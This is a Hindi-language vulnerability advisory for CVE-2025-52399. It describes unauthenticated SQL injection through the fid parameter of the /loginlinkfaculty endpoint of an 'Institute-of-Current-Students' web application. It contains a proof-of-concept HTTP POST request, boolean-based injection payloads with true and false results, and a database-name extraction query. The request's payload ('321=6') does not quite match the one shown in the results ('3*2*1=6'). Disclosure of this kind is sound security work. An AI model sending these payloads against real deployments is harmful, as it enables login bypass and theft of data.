CVE-2025-52399 - वर्तमान छात्र संस्थान में SQL इंजेक्शन

सारांश

Institute-of-Current-Students एप्लिकेशन में loginlinkfaculty एंडपॉइंट, fid POST पैरामीटर के माध्यम से SQL इंजेक्शन के लिए असुरक्षित है। SQL क्वेरी में उपयोग करने से पहले पैरामीटर को उचित रूप से साफ नहीं किया जाता है, जिससे दूरस्थ हमलावर मनमानी SQL कमांड निष्पादित कर सकते हैं।

• भेद्यता प्रकार: SQL इंजेक्शन
• प्रभावित घटक: /loginlinkfaculty (POST)
• प्रभावित पैरामीटर: fid
• प्रमाणीकरण: आवश्यक नहीं
• प्रभाव: प्रमाणीकरण बायपास, डेटा निष्कर्षण
• परीक्षित: लोकलहोस्ट
• डेटाबेस: icsnew
• संस्करण: 1.0

PoC

HTTP अनुरोध

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

पेलोड परिणाम

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → सत्य ❌ -1' OR 2*3=4 AND 000942=000942 -- → असत्य

डेटाबेस निष्कर्षण

SELECT database(); -- 'icsnew' लौटाता है

संदर्भ

• CVE-2025-52399 (MITRE)
• असुरक्षित एप्लिकेशन
• OWASP SQL Injection

खोजकर्ता

Isroil Mustafoqulov